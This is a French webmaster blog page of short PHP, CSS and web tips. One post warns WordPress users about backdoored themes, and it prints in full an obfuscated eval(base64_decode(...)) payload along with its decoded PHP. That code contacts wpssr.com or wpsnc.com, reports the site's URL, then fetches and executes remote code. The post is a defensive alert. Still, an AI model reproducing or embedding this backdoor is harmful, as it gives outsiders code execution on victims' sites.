Recherche
Derniers articles
- Distance de Levenshtein - le moyen pour faire un correcteur orthographique
- Un code JS pour rendre IE aussi compatible que IE7 (aux standards)
- Requête POST en PHP
- Transformer du HTML en TEXTE (html2text)
- Jeu : Démêleur de fils
- Comment insérer du PHP dans du JavaScript
- Aller plus loin avec Google Analytics
- Largeur des blocs en CSS : bien comprendre les “width” et “padding”
- Thèmes WordPress : Attention aux Hacks !
- Optimisation MySQL
Catégories
- Ajax
- Astuces PHP
- Bases de données
- Conseils pratiques pour le référencement
- Créer un site
- CSS et mise en forme
- Jeux
- jQuery
- Le site
- Non classé
- Outils de webmasters
- Outils en flash
- Outils Google
- Ressources
- Standards
- Statistiques
Archives par mois
A voir également
Distance de Levenshtein - le moyen pour faire un correcteur orthographique
Connaissez-vous la distance de Levenshtein ? Elle permet de calculer la différence entre deux mots en nombre de lettres à changer pour aller de l’un à l’autre.
Ex. :
* Distance de levenshtein entre “hélicoptaire” et “hélicoptère” : 2
* Distance de levenshtein entre “hélicotpère” et “hélicoptère” : 2
Vous l’avez compris par l’exemple, cela peut permettre de faire entre autres un correcteur orthographique. Il s’agit pour ce faire de constituer une base de mots clés que l’on parcoure et que l’on compare à un terme. Si la distance de levenshtein est inférieure ou égale à 2, on peut en déduire qu’il s’agit d’un mot relativement proche au niveau de l’orthographe. Au delà, ça devient plus fouillis.
En PHP, une fonction existe : levenshtein(). Les deux paramètres à remplir sont pour les deux mots à comparer et la fonction retourne la distance (int).
Proposé par Rom's
Catégorisé dans : Astuces PHP
0 commentaire »
avril 2008
Un code JS pour rendre IE aussi compatible que IE7 (aux standards)
Vous en aviez rêvé, un code vous permettant de “transformer” les vieux navigateurs comme Internet Explorer 5 et 6 “aussi compatibles” (s’il en est) que Internet Explorer 7 : le simple code à copier coller et la source javascript à télécharger à cette adresse : http://code.google.com/p/ie7-js/
Proposé par Rom's
Catégorisé dans : Standards
0 commentaire »
mars 2008
Requête POST en PHP
function httpPostRequest($host, $path, $arrPostvars, $port=80, $referer="")
{
$arrEncodedPairs = array();
$res = "";
foreach ($arrPostvars as $var => $value)
$arrEncodedPairs[] = rawurlencode($var)."=".rawurlencode($value);
$postData = implode("&", $arrEncodedPairs);
$request = "POST $path HTTP/1.1\n".
"Host: $host\n".
(($referer) ? "Referer: $referer\n" : "").
"Content-type: application/x-www-form-urlencoded\n".
"Content-length: ".strlen($postData)."\n".
"Connection: close\n\n".
$postData."\n";
if ($fp = fsockopen($host, $port)) { if (fputs($fp, $request)) { while(! feof($fp)) { $res .=gets($fp, 128); } fclose($fp); return $res; } }
}
Appel à la fonction :
$contenuPage=httpPostRequest("www.lesite.com", "/repertoire/adresseScript.php", Array("clé"=>"valeur","clé2"=>"valeur2"));
Proposé par Rom's
Catégorisé dans : Ressources
0 commentaire »
janvier 2008
Transformer du HTML en TEXTE (html2text)
function html2text($html)
{
$tags = array ( '#<h[456][^>]*>#si', '#<li[^>]+>#si', '#<br([^>]+)+>#si' );
$tags_double_ligne = array( '#<p>#si', '#<table([^>]*)>#si', '#<div([^>]*)>#si' );
$html = preg_replace('#<a href="(.*)">(.*)</a>#Usi','$2 ($1)',$html);
$html = preg_replace($tags,"\n",$html);
$html = preg_replace($tags_double_ligne,"\n",$html);
$html = preg_replace('#<h[1-3]>([^>]*)</h[1-3]>#si',"--SAUT LIGNE--== $1 ==\r\n",$html);
$html = preg_replace('#<tr[^>]*>#si',"--TRAIT--",$html);
$html = preg_replace('#</t(d|h)>\s*<t(d|h)[^>]+>#si',' - ',$html);
$html = preg_replace('#<img(.*) alt="(.*)"(.*)/>#si','$2',$html);
$html = preg_replace('#<[^>]+>#si','',$html);
$html = preg_replace('# +#s',' ',$html);
$html = preg_replace('#^\s+#m','',$html);
$html = preg_replace('#\s+$#m','',$html);
$html = preg_replace('#\n+#s',"\n",$html);
$html=str_replace("--SAUT LIGNE--","\r\n\r\n",$html);
$html=str_replace("--TRAIT--","\r\n-------------------------------\r\n",$html);
return $html;
}
Appel :
$html=html2text($html);
that easy ! ![]()
Proposé par Rom's
Catégorisé dans : Ressources
0 commentaire »
janvier 2008
Jeu : Démêleur de fils
…parce que pour être bon, il faut savoir bien se détendre
(si vous stressez trop, vous pouvez quitter le site et revenir, ça récupèrera automatiquement votre partie en cours ;))
Le site officiel : http://nonoba.com/chris/untangle
Merci Chris, c’est génial !
Si ça ne marche pas chez vous notamment quand vous cliquez sur “play now”, téléchargez la nouvelle version de Flash Player, ça ne vous fera pas de mal ![]()
Proposé par Rom's
Catégorisé dans : Jeux
0 commentaire »
décembre 2007
Comment insérer du PHP dans du JavaScript
Cette question, idiote il y a quelques années, semble avoir trouvé des réponses récemment avec l’avènement d’Ajax.
Je vous invite à découvrir Xajax, qui permet d’appeler facilement des fonctions prédéfinies. Je n’irai pas plus loin car je préfère pour ma part créer mes propres fonctions grâce à Prototype, mais c’est à connaître et ça évite un chargement désormais superflu d’une page supplémentaire.
Proposé par Rom's
Catégorisé dans : Ajax, Applications pratiques
0 commentaire »
décembre 2007
Aller plus loin avec Google Analytics
Rubrique par rubrique, découvrez les nombreuses fonctionnalités plus ou moins cachées offertes par Google Analytics. Evidemment, je ne parlerai que d’après mon expérience, et des outils qui me semblent de la meilleure utilité après quelques années d’utilisation (depuis les débuts en fait).
Lire la suite »
Proposé par Rom's
Catégorisé dans : Bien lire ses statistiques, Statistiques
0 commentaire »
décembre 2007
Largeur des blocs en CSS : bien comprendre les “width” et “padding”
En très court, très simple : il faut comprendre que d’après les normes du W3C, le width est censé représenter la largeur du bloc de texte, et le padding la marge entre la bordure et le bloc de texte. On aurait donc une largeur de bloc = width + padding.
Dans la réalité, ceci fonctionne avec Firefox, mais pas avec Internet Explorer.
Voici donc un hack très facile à mettre en pratique, pour un bloc dont on veut que la largeur constatée (width + padding) soit à 160px :
width: 160px; /* pour ie */
padding-left: 10px;
voice-family: "\"}\"";
voice-family:inherit;
width: 150px; /* pour les respectueux des standards */
Voici la source qui ne semble plus être disponible actuellement sur le site OpenWeb.eu.org : Gérer les modèles de boîte standard et Microsoft
Proposé par Rom's
Catégorisé dans : CSS et mise en forme
0 commentaire »
décembre 2007
Thèmes WordPress : Attention aux Hacks !
Suite à une discussion que j’ai entretenue avec des confrères sur un forum, je vous invite, vous utilisateurs de WordPress, à la plus grande vigilance, lorsque vous téléchargez des thèmes.
Il faut tout particulièrement inspecter le code à la recherche de programmes malveillants, que l’on pourrait qualifier de spywares, qui disent par exemple ceci :
eval(base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyIjsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OTcgPSAxOycpOyBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgPSAiaHR0cDovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvbS93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waHA/dXJsPSIuIHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiImIi4gImhvc3Q9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSA9ICJodHRwOi8vd3d3LiRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY29tL3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7'));
c’est un code php encodé qui est traduit par base64_encode() puis executé grace à eval(). Si l’on remplace d’ailleurs eval() par print_r(), voici ce qui apparait à l’écran :
if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr"; elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc"; else $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2"; @eval('$R14AF1BE9EE26A90921E64A82E7836797 = 1;'); if($R14AF1BE9EE26A90921E64A82E7836797 AND ini_get('allow_url_fopen')) { $RD3FE9C10A808A54EA2A3DBD9E605B696 = "1"; $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']); $R3E33E017CD76B9B7E6C7364FB91E2E90 = @file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115); @eval($R3E33E017CD76B9B7E6C7364FB91E2E90); } else { $RD3FE9C10A808A54EA2A3DBD9E605B696 = "0"; $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']); @readfile($R6E4F14B335243BE656C65E3ED9E1B115); } fclose($R37C014DAE5FE4FE5C77B6735ABC30916);
D’après 5thirtyone.com, il s’agirait d’un script qui permet d’injecter du code dans votre blog/site.. sympa non ?
Ce sont notamment les thèmes proposés par ce site : http://www.wpsphere.com/6.html qui reprennent de vrais thèmes et le propriétaire ajoute cette petite ligne maligne pour pouvoir faire à peu près ce qu’il veut du site à partir du moment où il peut y exécuter du PHP et qu’il sait comment est codé Wordpress côté serveur.
Proposé par Rom's
Catégorisé dans : Non classé
0 commentaire »
novembre 2007
Optimisation MySQL
Je vous invite à lire cette documentation qui permet d’optimiser les requêtes complexes pour des sites à fort volume :
http://www.ecoms.fr/cours/sgbdoptimisation.pdf [PDF]
Proposé par Rom's
Catégorisé dans : Bases de données
0 commentaire »
novembre 2007